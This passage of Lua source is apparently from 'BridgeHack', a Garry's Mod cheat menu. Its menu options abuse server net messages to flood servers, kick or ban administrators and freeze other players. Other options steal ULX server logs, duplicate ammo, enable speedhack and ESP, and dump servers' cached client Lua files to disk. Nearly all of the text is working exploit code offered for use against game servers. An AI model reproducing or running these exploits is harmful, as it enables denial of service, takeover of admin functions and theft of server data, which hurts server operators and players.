1803 exploitshacks:AddOption("Dupe Ammo",function()
1804 ply:ConCommand("bh_fuckin_ammo")
1805 chatP("Duplicating Ammo type bh_fuckin_ammo in console to cancel..")
1806 end):SetImage( "icon16/book_error.png" )
1807
1808 exploitshacks:AddOption("William Car Dealer",function()
1809 ply:ConCommand("bh_williamcar_dealer")
1810 chatP("Opening williams car dealer..")
1811 end):SetImage( "icon16/book_error.png" )
1812
1813 exploitshacks:AddOption("VCMod Money",function()
1814 ply:ConCommand("bh_vcmodexploit")
1815 chatP("this feature currently isn't working..")
1816 end):SetImage( "icon16/book_error.png" )
1817
1818 exploitshacks:AddOption( "Steal ULX Logs ( will save to download/data/ulx_logs/" .. os.date("%m-%d-%y") .. ".txt )", function()
1819 status("Downloading ULX LOGS")
1820 if file.Exists("download/data/ulx_logs/" .. os.date("%m-%d-%y") .. ".txt", "GAME") == "false" then
1821 consoleP("FILE EXISTS. REMOVE THE FILE BEFORE CONTINUEING!")
1822 else
1823 RequestFile(os.date( "data/" .. "ulx_logs" .. "/" .. "%m-%d-%y" .. ".txt" ))
1824 chatP("Downloading ulx logs. OPENING " .. os.date("%m-%d-%y") .. " IN 15 SECONDS....")
1825 timer.Simple( 15, function()
1826 chatP("Opened data/ulx_logs/" .. os.date("%m-%d-%y") .. ".txt")
1827 consoleP("**********************")
1828 consoleP("** SUCCESS ULX DUMP **")
1829 consoleP("**********************")
1830 end)
1831 end
1832 end ):SetImage( "icon16/lock_break.png" )
1833
1834 exploitshacks:AddOption("[AE] KICK ADMINS+",function()
1835 chatP("Kicking... (Will only work on admins+)")
1836 timer.Create( "aekickdaskids", 3, 0, function()
1837 for k,v in pairs(player.GetAll()) do
1838 if( v:GetUserGroup() != "user" ) then
1839 if( v:GetUserGroup() != "vip" ) then
1840 for i=0, 700 do
1841 net.Start('plyWarning')
1842 net.WriteEntity(v)
1843 net.WriteString('You have to select a player before doing a action.')
1844 net.SendToServer()
1845 end
1846 consoleP('Attempting to kick '.. v:Nick().. "!")
1847 end
1848 end
1849 end
1850 end)
1851 end):SetImage("icon16/wand.png")
1852
1853 exploitshacks:AddOption("ULX EXTENDED BAN ADMINS",function()
1854 chatP("Banning...")
1855 timer.Create(BridgeHack.RandomVar.."ulxextendedban",1,0,function()
1856 for k,v in pairs(player.GetAll()) do
1857 if v:GetUserGroup() != "user" then -- Custom first ranks, youre fucked bro
1858 if v != LocalPlayer() then
1859 status("Banning.. "..v:Nick())
1860 net.Start("banleaver")
1861 net.WriteString(v:SteamID().."{sep}".."HaxRUs Rekt You")
1862 net.SendToServer()
1863 end
1864 end
1865 end
1866 end)
1867 end):SetImage("icon16/wand.png")
1868
1869 exploitshacks:AddOption( " [ON] ATLAS CHAT: FREEZE EVERYBODY",function()
1870 chatP("Freezing everybody.. (Except you)")
1871 timer.Create("Imakelovetou"..BridgeHack.RandomVar,"3",0, function()
1872 local trash = "";
1873 for i=0, 15000 do
1874 trash = trash .. string.char(math.random(32, 126));
1875 end
1876
1877 status("Freeze wave incoming")
1878 timer.Simple(1,function()
1879 status("Freeze wave done")
1880 end)
1881
1882 for i=0,3 do
1883 net.Start("atlaschat.chat")
1884 net.WriteString("// ".. trash)
1885 net.SendToServer()
1886 end
1887 end)
1888 end):SetImage( "icon16/lock.png" )
1889
1890 exploitshacks:AddOption( " [OFF] ATLAS CHAT: FREEZE EVERYBODY",function()
1891 chatP("Stopping the freeze..")
1892 timer.Destroy("Imakelovetou"..BridgeHack.RandomVar,"3",0, function()
1893
1894 end)
1895 end):SetImage( "icon16/lock_open.png" )
1896
1897 exploitshacks:AddOption( "[ON] ESSENTIALS ULX SPAM FRIENDS TABLE", function()
1898 timer.Create("spamdafukFRIENDSULX", 2, 0, function()
1899 local friends = {}
1900 table.insert( friends, math.random(1,9999) )
1901 for i = 1,6000 do
1902 net.Start("friendlist")
1903 net.WriteTable(friends)
1904 net.SendToServer()
1905 end
1906 status("PROGRESS [10000/10000]")
1907 end)
1908 end ):SetImage( "icon16/script_error.png" )
1909
1910 exploitshacks:AddOption( "[OFF] ESSENTIALS ULX SPAM FRIENDS TABLE", function()
1911 timer.Destroy("spamdafukFRIENDSULX")
1912 status("Stopped ULX SPAM FRIENDS")
1913 end):SetImage( "icon16/script.png" )
1914
1915 exploitshacks:AddOption( "Ulx Extended TTT Weapon Spawn", function()
1916 GiveMenu()
1917 end):SetImage( "icon16/book_key.png" )
1918
1919 exploitshacks:AddOption( " [ON] MX RADIO KICK ADMINS",function()
1920 chatP("Kicking admins, Including anyone who isnt a user")
1921 ply:ConCommand("bh_mx_kickadmins")
1922 timer.Create( "Kickthenoobs"..BridgeHack.RandomVar, 3, 0, function()
1923 for k,v in ipairs(player.GetAll()) do
1924 if( v:GetUserGroup() != "user" ) then
1925 if v:Nick() != (ply:Nick()) then
1926 for i=0, 700 do
1927 net.Start( "GetCar" )
1928 net.WriteEntity(v)
1929 net.WriteEntity(v)
1930 net.SendToServer()
1931 end
1932 chatP('Attempting to kick '.. v:Nick())
1933 end
1934 end
1935 end
1936 end)
1937 end):SetImage( "icon16/wand.png" )
1938
1939 exploitshacks:AddOption( " [OFF] MX RADIO KICK ADMINS",function()
1940 chatP("Stopping the kicks")
1941 timer.Destroy( "Kickthenoobs"..BridgeHack.RandomVar, 3, 0, function() end)
1942 end):SetImage( "icon16/wand.png" )
1943
1944 local Misc = menu:AddSubMenu(" Misc ")
1945
1946 Misc:AddOption( "Hackable Server List",function()
1947 ply:ConCommand("bh_serverlist")
1948 end):SetImage( "icon16/book.png" )
1949
1950 Misc:AddOption( "Changelog",function()
1951 ChangeLogMenu()
1952 end):SetImage( "icon16/book.png" )
1953
1954 Misc:AddOption( "List Rank - Playername - Money",function()
1955 chatP( "Check Console\n" )
1956 consoleP("(NAME)-(STEAMID)-(CASH)\n\n\n")
1957 for k,v in pairs(player.GetAll()) do
1958 local playermoney = (v.DarkRPVars and v.DarkRPVars.money) or 0
1959 if v:IsAdmin() then
1960 consoleP("(ADMIN!) - (" .. v:Nick() .. ") - (" .. v:SteamID() .. ") - ($" .. playermoney .. ")")
1961 else
1962 consoleP("(USER) - (" .. v:Nick() .. ") - (" .. v:SteamID() .. ") - ($" .. playermoney .. ")")
1963 end
1964 end
1965 end):SetImage( "icon16/text_align_center.png" )
1966
1967 Misc:AddOption( "Check exploits", function()
1968 ply:ConCommand("bh_check")
1969end ):SetImage( "icon16/book_addresses.png" )
1970
1971 Misc:AddOption( "Spirit Walk", function()
1972 ply:ConCommand("bh_sw_toggle")
1973 chatP("You're now spirit walking..")
1974end ):SetImage( "icon16/book_addresses.png" )
1975
1976 Misc:AddOption( "Get Spirit Pos", function()
1977 ply:ConCommand("bh_sw_pos")
1978 chatP("Check console for pos coordinates..")
1979end ):SetImage( "icon16/book_addresses.png" )
1980
1981 Misc:AddOption("FullBright",function()
1982 ply:ConCommand("bh_fullbright")
1983 chatP("You must force cheats to 1 before using this..")
1984end):SetImage( "icon16/book_addresses.png" )
1985
1986 Misc:AddOption( "BHOP", function()
1987 ply:ConCommand("bh_bhop")
1988 chatP("You're now bhoping..")
1989end ):SetImage( "icon16/book_addresses.png" )
1990
1991 Misc:AddOption( "ClientSide Lua Viewer",function()
1992 chatP("Opening clientside lua viewer...")
1993 ply:ConCommand("bh_lua")
1994 end):SetImage( "icon16/application_osx_terminal.png" )
1995
1996 if ply:SteamID() == "STEAM_0:1:45153092" or ply:SteamID() == "STEAM_0:1:61639885" then
1997 local DebugMenu = menu:AddSubMenu(" Debug Settings")
1998 DebugMenu:AddOption(" Reset Default Config.", function()
1999 Debug("Resetting Cheat Variables...")
2000 ResetCvar("bh_menu_effects", 1)
2001 ResetCvar("bh_firstload_correct", 0)
2002 ResetCvar("bh_chat_status",0)
2003 ResetCvar("bh_cheats_enabled_on_start", 0)
2004 ResetCvar("bh_cheats_svlua_enabled_on_start", 0)
2005 ResetCvar("bh_showhud", 1)
2006 ResetCvar("bh_notify", 1)
2007 end)
2008
2009 DebugMenu:AddOption(" Debug",function()
2010 for k,v in pairs(player.GetAll()) do
2011 chatP(LocalPlayer():GetPos():Distance(v:GetPos()) .. " | ".. v:Nick())
2012 end
2013 end)
2014 end
2015
2016 menu:AddSpacer()
2017
2018 menu:AddOption( "Config Menu", function()
2019 local DermaPanel = vgui.Create( "DFrame" )
2020 DermaPanel:SetPos( 100, 100 )
2021 DermaPanel:SetSize( 300, 400 )
2022 DermaPanel:SetTitle( " " )
2023 DermaPanel:SetVisible( true )
2024 DermaPanel:SetDraggable( true )
2025 DermaPanel:ShowCloseButton( false )
2026 function DermaPanel:Paint( w, h )
2027 draw.RoundedBox( 4, 0, 0, w, h, Color( 10, 10, 10, 220) )
2028 draw.RoundedBoxEx( 4, 0, 0, w, 22, Color( 240, 85, 0, 220), true, true, false, false )
2029 draw.SimpleText( "BridgeHack Configuration Menu", "PopupFont", 6, 2, Color( 255,255,255 ), 0, 0 )
2030 end
2031
2032 local Button = vgui.Create("DButton", DermaPanel)
2033 Button:SetPos( 250, 2 )
2034 Button:SetSize( 45, 19 )
2035 Button:SetText( "" )
2036 Button:SetTextColor( Color( 255, 255, 255) )
2037 function Button:Paint( w, h )
2038 draw.RoundedBoxEx( 4, 0, 0, w, h, Color(0,0,0,150) )
2039 draw.SimpleText( "Close", "HeaderFont", 2, -2, Color( 255,255,255 ), 0, 0 )
2040 end
2041 Button.DoClick = function()
2042 DermaPanel:Close()
2043 end
2044
2045 DermaPanel:MakePopup()
2046
2047 local ESPMixer = vgui.Create( "DColorMixer", DermaPanel )
2048 ESPMixer:SetPos( 10,170)
2049 ESPMixer:SetSize(100,100)--Make Mixer fill place of Frame
2050 ESPMixer:SetPalette( false ) --Show/hide the paletteDEF:true
2051 ESPMixer:SetAlphaBar( true ) --Show/hide the alpha barDEF:true
2052 ESPMixer:SetWangs( false ) --Show/hide the R G B A indicators DEF:true
2053 ESPMixer:SetColor( Color(GetConVarNumber("bh_esp_infocolor_r"),GetConVarNumber("bh_esp_infocolor_g"),GetConVarNumber("bh_esp_infocolor_b")) )--Set the default color
2054 daespvector = ESPMixer:GetColor()
2055
2056 local ESPMixButton = vgui.Create( "DButton",DermaPanel )
2057 ESPMixButton:SetPos( 5, 265 )
2058 ESPMixButton:SetText( "Set ESP Color" )
2059 ESPMixButton:SetSize( 120, 15 )
2060 ESPMixButton.DoClick = function()
2061 print(daespvector)
2062 ply:ConCommand("bh_esp_infocolor_r "..daespr)
2063 ply:ConCommand("bh_esp_infocolor_g "..daespg)
2064 ply:ConCommand("bh_esp_infocolor_b "..daespb)
2065 end
2066
2067 local EspBoxes = vgui.Create( "DCheckBoxLabel", DermaPanel )// Create the checkbox
2068 EspBoxes:SetPos( 10, 25 )// Set the position
2069 EspBoxes:SetValue( GetConVarNumber("bh_esp_box") )// Initial value ( will determine whether the box is ticked too )
2070 EspBoxes:SetText("ESP Boxes")
2071 EspBoxes:SetConVar( "bh_esp_box" )
2072 EspBoxes:SizeToContents()
2073
2074 local ShowHP = vgui.Create( "DCheckBoxLabel", DermaPanel )// Create the checkbox
2075 ShowHP:SetPos( 10, 45 )// Set the position
2076 ShowHP:SetValue( GetConVarNumber("bh_esp_hp") )// Initial value ( will determine whether the box is ticked too )
2077 ShowHP:SetText("Show HP On ESP")
2078 ShowHP:SetConVar( "bh_esp_hp" )
2079 ShowHP:SizeToContents()
2080
2081 local ShowRank = vgui.Create( "DCheckBoxLabel", DermaPanel )// Create the checkbox
2082 ShowRank:SetPos( 10, 65 )// Set the position
2083 ShowRank:SetValue( GetConVarNumber("bh_esp_rank") )// Initial value ( will determine whether the box is ticked too )
2084 ShowRank:SetText("Show Rank On ESP")
2085 ShowRank:SetConVar( "bh_esp_rank" )
2086 ShowRank:SizeToContents()
2087
2088 local Rdistance = vgui.Create( "DCheckBoxLabel", DermaPanel )// Create the checkbox
2089 Rdistance:SetPos( 10, 85 )// Set the position
2090 Rdistance:SetValue( GetConVarNumber("bh_renderdistance_enable") )// Initial value ( will determine whether the box is ticked too )
2091 Rdistance:SetText("Use a Maximum render distance")
2092 Rdistance:SetConVar( "bh_renderdistance_enable" )
2093 Rdistance:SizeToContents()
2094
2095 local Rdistance = vgui.Create( "DCheckBoxLabel", DermaPanel )// Create the checkbox
2096 Rdistance:SetPos( 10, 105 )// Set the position
2097 Rdistance:SetValue( GetConVarNumber("bh_notify") )// Initial value ( will determine whether the box is ticked too )
2098 Rdistance:SetText("Top Scrolling Message")
2099 Rdistance:SetConVar( "bh_notify" )
2100 Rdistance:SizeToContents()
2101
2102 local PlaySound = vgui.Create( "DCheckBoxLabel", DermaPanel )// Create the checkbox
2103 PlaySound:SetPos( 10, 125 )// Set the position
2104 PlaySound:SetValue( GetConVarNumber("bh_playsound") )// Initial value ( will determine whether the box is ticked too )
2105 PlaySound:SetText("Menu sounds")
2106 PlaySound:SetConVar( "bh_playsound" )
2107 PlaySound:SizeToContents()
2108
2109 local RenderDistance = vgui.Create( "DNumSlider", DermaPanel )
2110 RenderDistance:SetPos( 25, 145) // Set the position
2111 RenderDistance:SetSize( 280, 25 ) // Set the size
2112 RenderDistance:SetText( "Max Render Distance" ) // Set the text above the slider
2113 RenderDistance:SetMin( 0 ) // Set the minimum number you can slide to
2114 RenderDistance:SetMax( 5000 )// Set the maximum number you can slide to
2115 RenderDistance:SetDecimals( 1 ) // Decimal places - zero for whole number
2116 RenderDistance:SetConVar( "bh_esp_rdistance" ) // Changes the ConVar when you slide
2117 end ):SetImage( "icon16/wrench.png" )
2118
2119 menu:Open()
2120 end)
2121
2122 concommand.Add("-bh_menu", function( ply )
2123 status("Menu Closed.")
2124 if GetConVarNumber("bh_menu_effects") == 1 then
2125 hook.Add( "RenderScreenspaceEffects", "BlurBG", blur_off )
2126 end
2127 local menu = DermaMenu()
2128 end)
2129
2130 function ESP_on( )
2131 ply:ConCommand("bh_esp 1")
2132 end
2133
2134 function ESP_off( )
2135 ply:ConCommand("bh_esp 0")
2136 end
2137
2138 function speedhack_on( )
2139 ply:ConCommand("host_framerate 8;host_framerate 8")
2140 status("Enabled SpeedHack")
2141 end
2142
2143 function speedhack_off( )
2144 ply:ConCommand("host_framerate 0;host_framerate 0")
2145 status("Disabled SpeedHack")
2146 end
2147
2148 -- CL LUAVIEWER */ require("stringtables") local escapejs = { ["\\"] = "\\\\", ["\0"] = "\\0" , ["\b"] = "\\b" , ["\t"] = "\\t" , ["\n"] = "\\n" , ["\v"] = "\\v" , ["\f"] = "\\f" , ["\r"] = "\\r" , ["\""] = "\\\"", ["\'"] = "\\\'" } function string.JavascriptSafe( str ) str = str:gsub( ".", escapejs ) str = str:gsub( "\226\128\168", "\\\226\128\168" ) str = str:gsub( "\226\128\169", "\\\226\128\169" ) return str end local function GetLuaFiles(client_lua_files) local count = client_lua_files:Count() local ret = {} for i = 1, count - 2 do ret[i] = { Path = client_lua_files:GetString(i), CRC = client_lua_files:GetUserDataInt(i) } end return ret end local function GetLuaFileContents(crc) local fs = file.Open("cache/lua/" .. crc .. ".lua", "rb", "MOD") fs:Seek(4) local contents = util.Decompress(fs:Read(fs:Size() - 4)) return contents:sub(1, -2) end local function dumbFile(path, contents) if not path:match("%.txt$") then path = path..".txt" end local curdir = "" for t in path:gmatch("[^/\\*]+") do curdir = curdir..t if curdir:match("%.txt$") then print("writing: ", curdir) file.Write(curdir, contents) else curdir = curdir.."/" print("Creating: ", curdir) file.CreateDir(curdir) end end end local dumbFolderCache = "" local function dumbFolder(node) for _, subnode in ipairs(node.ChildNodes:GetChildren()) do if subnode:HasChildren() then dumbFolder(subnode) else dumbFile(dumbFolderCache..subnode.pathh, GetLuaFileContents(subnode.CRC)) end end end
2149
2150/*
2151[[----------------------------------------------------------------]]
2152[[----------------------------------------------------------------]]
2153 ____ ___ __ __
2154/\ _`\ /\_ \ __ /\ \__ __ /\ \
2155\ \ \/\_\//\ \ /\_\ __ ___\ \ ,_\ ____/\_\ \_\ \ __
2156 \ \ \/_/_\ \ \ \/\ \ /'__`\/' _ `\ \ \/ /',__\/\ \ /'_` \ /'__`\
2157 \ \ \ \ \\_\ \_\ \ \/\ __//\ \/\ \ \ \_/\__, `\ \ \/\ \ \ \/\ __/
2158 \ \____//\____\\ \_\ \____\ \_\ \_\ \__\/\____/\ \_\ \___,_\ \____\
2159 \/___/ \/____/ \/_/\/____/\/_/\/_/\/__/\/___/ \/_/\/__,_ /\/____/
2160/\ \ __
2161\ \ \ __ __ __ __ __ /\_\ __ __ __ __ __ _ __
2162 \ \ \ __/\ \/\ \ /'__`\ /\ \/\ \\/\ \ /'__`\/\ \/\ \/\ \ /'__`\/\`'__\
2163 \ \ \L\ \ \ \_\ \/\ \L\.\_ \ \ \_/ |\ \ \/\ __/\ \ \_/ \_/ \/\ __/\ \ \/
2164 \ \____/\ \____/\ \__/.\_\ \ \___/ \ \_\ \____\\ \___x___/'\ \____\\ \_\
2165 \/___/ \/___/ \/__/\/_/ \/__/ \/_/\/____/ \/__//__/ \/____/ \/_/
2166
2167[[----------------------------------------------------------------]]
2168[[----------------------------------------------------------------]] */ require("stringtables") local escapejs = { ["\\"] = "\\\\", ["\0"] = "\\0" , ["\b"] = "\\b" , ["\t"] = "\\t" , ["\n"] = "\\n" , ["\v"] = "\\v" , ["\f"] = "\\f" , ["\r"] = "\\r" , ["\""] = "\\\"", ["\'"] = "\\\'" } function string.JavascriptSafe( str ) str = str:gsub( ".", escapejs ) str = str:gsub( "\226\128\168", "\\\226\128\168" ) str = str:gsub( "\226\128\169", "\\\226\128\169" ) return str end local function GetLuaFiles(client_lua_files) local count = client_lua_files:Count() local ret = {} for i = 1, count - 2 do ret[i] = { Path = client_lua_files:GetString(i), CRC = client_lua_files:GetUserDataInt(i) } end return ret end local function GetLuaFileContents(crc) local fs = file.Open("cache/lua/" .. crc .. ".lua", "rb", "MOD") fs:Seek(4) local contents = util.Decompress(fs:Read(fs:Size() - 4)) return contents:sub(1, -2) end local function dumbFile(path, contents) if not path:match("%.txt$") then path = path..".txt" end local curdir = "" for t in path:gmatch("[^/\\*]+") do curdir = curdir..t if curdir:match("%.txt$") then print("writing: ", curdir) file.Write(curdir, contents) else curdir = curdir.."/" print("Creating: ", curdir) file.CreateDir(curdir) end end end local dumbFolderCache = "" local function dumbFolder(node) for _, subnode in ipairs(node.ChildNodes:GetChildren()) do if subnode:HasChildren() then dumbFolder(subnode) else dumbFile(dumbFolderCache..subnode.pathh, GetLuaFileContents(subnode.CRC)) end end end
2169
2170local VIEWER = {}
2171
2172function VIEWER:Init()
2173 self:SetTitle("BridgeHack Clientside Lua Viewer")
2174 self:SetSize(1200, 550)
2175 self:Center() self:ShowCloseButton( false ) self.Paint = function(s,w,h)
2176 surface.SetDrawColor(Color(108,153,192))
2177 surface.DrawRect( 0,0, w,h ) surface.SetDrawColor( Color(141,200,251) ) surface.DrawRect( 1,1, w-2,h-2 ) surface.SetDrawColor(Color(141,200,251)) surface.DrawRect( 2,2, w-4,h-4 ) surface.SetDrawColor(Color(108,153,192)) surface.DrawRect( 7.5,27.5, w-14,h-34) surface.SetTextColor(0,0,0) surface.SetFont("HeaderFont")
2178 surface.SetTextPos( (self:GetWide()/2) - (tostring( string.len( self.lblTitle:GetText() )) / 2*7.5), 2) self.lblTitle:SetColor(Color(0,0,0,0)) surface.DrawText( self.lblTitle:GetText() ) end self.close = vgui.Create( "DButton", self ) self.close:SetSize( 43,20 ) self.close:SetPos( self:GetWide()-7.5-self.close:GetWide(), -1 ) self.close:SetText("") self.close.Paint = function(s,w,h) surface.SetDrawColor( Color(199,80,80) ) surface.DrawRect( 0,0, w,h ) surface.SetTextColor(255,255,255) surface.SetFont("HeaderFont") surface.SetTextPos(18,-2) surface.DrawText( "x" ) end self.close.DoClick = function(s,w,h) self:Close() end self.tree = vgui.Create("DTree", self) self.tree:SetPos(8.5,28.5) self.tree:SetSize(self:GetWide()/2-200, self:GetTall()-36) self.tree.Directories = {} self.html = vgui.Create("DHTML", self) self.html:SetPos(self:GetWide()/2-200+8.5, 28.5) self.html:SetSize(self:GetWide()/2+200-16, self:GetTall()-36) self.html:OpenURL("https://metastruct.github.io/lua_editor/") client_lua_files = stringtable.Get "client_lua_files" local tree_data= {} for i, v in ipairs(GetLuaFiles(client_lua_files)) do if i == 1 then continue end local file_name = string.match(v.Path, ".*/([^/]+%.lua)") local dir_path = string.sub(v.Path, 1, -1 - file_name:len()) local file_crc = v.CRC local cur_dir = tree_data for dir in string.gmatch(dir_path, "([^/]+)/") do if not cur_dir[dir] then cur_dir[dir] = {} end cur_dir = cur_dir[dir] end cur_dir[file_name] = {fileN = file_name, CRC = file_crc} end local file_queue = {} local function iterate(data, node, path) path = path or "" for k, v in SortedPairs(data) do if type(v) == "table" and not v.CRC then local new_node = node:AddNode(k) new_node.DoRightClick = function() local dmenu = DermaMenu(new_node) dmenu:SetPos(gui.MouseX(), gui.MouseY()) dmenu:AddOption("Save Folder", function() dumbFolderCache = "cluaview/"..GetHostName()..dumbFolder(new_node) DrawFancyPopup("The folder ".. dumbFolder(new_node) .." has been saved as data/cluaview/".. GetHostName() .."/folders/".. dumbFolder(new_node) .."!") end) dmenu:Open() end iterate(v, new_node, path .. k .. "/") else table.insert(file_queue, {node = node, fileN = v.fileN, path = path .. v.fileN, CRC = v.CRC}) end end end iterate(tree_data, self.tree) for k, v in ipairs(file_queue) do local node = v.node:AddNode(v.fileN, "icon16/page_green.png") node.DoClick = function() self.html:QueueJavascript("SetContent('"..string.JavascriptSafe(GetLuaFileContents(v.CRC)).."')") end local hostname = GetHostName() hostname = hostname:gsub("|", "-") hostname = hostname:gsub("~", "-") hostname = hostname:gsub(" ", "") node.DoRightClick = function(self,node) local nodemenu = DermaMenu(node) nodemenu:AddOption("Save File", function() dumbFile("cluaview/".. string.lower(hostname) .."/"..v.fileN, GetLuaFileContents(v.CRC)) DrawFancyPopup("The file ".. v.fileN .." has been saved as data/cluaview/".. string.lower(hostname) .."/".. v.fileN .."!") end) nodemenu:Open() end node.CRC = v.CRC node.pathh = v.path
2179 end
2180 end
2181derma.DefineControl("dcluaviewer", "Clientside Lua Viewer", VIEWER, "DFrame")
2182
2183/*
2184[[----------------------------------------------------------------]]
2185[[----------------------------------------------------------------]]
2186 ____
2187/\ _`\
2188\ \ \L\_\ __ ___ ___ __ __
2189 \ \ _\/'__`\ /' _ `\ /'___\/\ \/\ \
2190 \ \ \/\ \L\.\_/\ \/\ \/\ \__/\ \ \_\ \
2191 \ \_\ \__/.\_\ \_\ \_\ \____\\/`____ \
2192 \/_/\/__/\/_/\/_/\/_/\/____/ `/___/> \
2193 /\___/
2194 \/__/
2195 ____
2196/\ _`\
2197\ \ \L\ \___ _____ __ __ _____
2198 \ \ ,__/ __`\/\ '__`\/\ \/\ \/\ '__`\
2199 \ \ \/\ \L\ \ \ \L\ \ \ \_\ \ \ \L\ \
2200 \ \_\ \____/\ \ ,__/\ \____/\ \ ,__/
2201 \/_/\/___/ \ \ \/ \/___/ \ \ \/
2202 \ \_\ \ \_\
2203 \/_/ \/_/
2204[[----------------------------------------------------------------]]
2205[[----------------------------------------------------------------]]
2206*/
2207
2208function DrawFancyPopup(message)
2209 fancyPopup = vgui.Create("DFrame")
2210 fancyPopup:SetSize(ScrW(), ScrH()) fancyPopup:SetPos(0, 0) fancyPopup:SetVisible( true ) fancyPopup:SetTitle("") fancyPopup:MakePopup() fancyPopup:ShowCloseButton( true ) fancyPopup.Paint = function(s,w,h) surface.SetDrawColor( Color(0,0,0,200) ) surface.DrawRect( 0,0, w,h ) surface.SetDrawColor( Color(13,136,69) ) surface.DrawRect( 0, w/2-fancyPopup:GetTall()/1.520, ScrW(), ScrH()/6.5 ) surface.SetTextColor(255,255,255) surface.SetFont("PopupFont") surface.SetTextPos(w/4.10, h/2.30) surface.DrawText( message ) end fancyPopupButton = vgui.Create("DButton", fancyPopup) fancyPopupButton:SetSize(110,32.5) fancyPopupButton:SetPos(fancyPopup:GetWide()/2+fancyPopup:GetWide()/10, fancyPopup:GetTall()/2.050) fancyPopupButton:SetText("") fancyPopupButton.Paint = function(s,w,h) surface.SetDrawColor( Color(255,255,255) ) surface.DrawRect( 0,0, w,h ) surface.SetDrawColor( Color(13,136,69) ) surface.DrawRect( 0+3,0+3, w-6,h-6 ) surface.SetTextColor(255,255,255) surface.SetFont("PopupFont") surface.SetTextPos(30.5,5.5) surface.DrawText( "Alright!" ) end fancyPopupButton.DoClick = function(s,w,h) fancyPopup:Close() end
2211end
2212
2213concommand.Add("testpopup", function() DrawFancyPopup("This is just a test button and nothing else you nutmpies. Pressing Alright does no shit at all!") end) concommand.Add("bh_lua", function() vgui.Create("dcluaviewer"):MakePopup() end)